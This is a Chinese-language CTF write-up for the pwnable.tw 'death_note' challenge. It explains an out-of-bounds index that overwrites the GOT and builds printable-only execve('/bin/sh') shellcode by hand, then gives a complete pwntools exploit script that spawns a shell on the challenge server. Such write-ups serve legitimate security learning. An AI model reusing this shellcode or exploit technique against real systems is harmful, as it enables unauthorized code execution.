PWNABLE.TW-death_note-WP

Posted on Mar 20, 2021

漏洞在于数组访问越界和堆栈可执行。在 add_note 函数中输入负数可以修改 got 表,使之指向一段我们可写的地址。自然地可以想到布置 shellcode getshell。然而本题对输入的 shellcode 进行了检查,每个字符都需要是可输出字符,这种题之前做过两道,都是使用工具自动生成的。因为我一直觉得 shellcode 这种东西挺没意思的,就一直没有深究到底该怎么写它,一直都是用工具生成,这道题就吃瘪了,把 shellcode 长度限制在了 80 中,现成的 shellcode 都无法使用。于是只能自己写

/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */   
push 0x68  
push 0x732f2f2f  
push 0x6e69622f  
mov ebx, esp   
/* push argument array ['sh\x00'] */   
/* push 'sh\x00\x00' */  
push 0x1010101   
xor dword ptr [esp], 0x1016972   
xor ecx, ecx   
push ecx /* null terminate */  
push 4   
pop ecx  
add ecx, esp   
push ecx /* 'sh\x00' */  
mov ecx, esp   
xor edx, edx   
/* call execve() */  
push 11 /* 0xb */  
pop eax  
int 0x80   

这是 shellcraft.sh() 生成的 shellcode,主要是 int 0x80 比较麻烦,其对应的机器码为 \xcd\x80,不过在可输出字符下

sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di

以上四个是可用的,而 puts 函数在跳转到 [got] 的时候,edx 指向的就是 [got],也就是我们的 shellcode,我们通过多次 sub byte ptr [eax… + offset] 就可以把 \xcd\x80 从可输出字符减过来了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'

sh = remote("chall.pwnable.tw",10201)

shellcode = 'push 0x68;'
shellcode += "push 0x732f2f2f;"
shellcode += "push 0x6e69622f;"
shellcode += "push esp;"
shellcode += "pop ebx;"
shellcode += "push edx;pop eax;"
shellcode += "push 0x55555555;"
shellcode += "pop edx;"
shellcode += "sub byte ptr [eax + 0x2C],dl;"
shellcode += "sub byte ptr [eax + 0x2C],dl;"
shellcode += "sub byte ptr [eax + 0x2D],dl;"
shellcode += "sub byte ptr [eax + 0x2D],dl;"
shellcode += "push ecx;pop eax;"
shellcode += "push ecx;pop edx;"
shellcode += "push ecx;pop esi;"
shellcode += "xor al,0x40;"
shellcode += "xor al,0x4b;"
shellcode = asm(shellcode)
print "len:" + str(len(shellcode))
shellcode += '\x77\x2A'

sh.sendlineafter("choice :",'1')
sh.sendlineafter("Index :",'-' + str((0x804A060 - 0x804A020) / 4))
sh.sendlineafter("Name :",shellcode)

sh.interactive()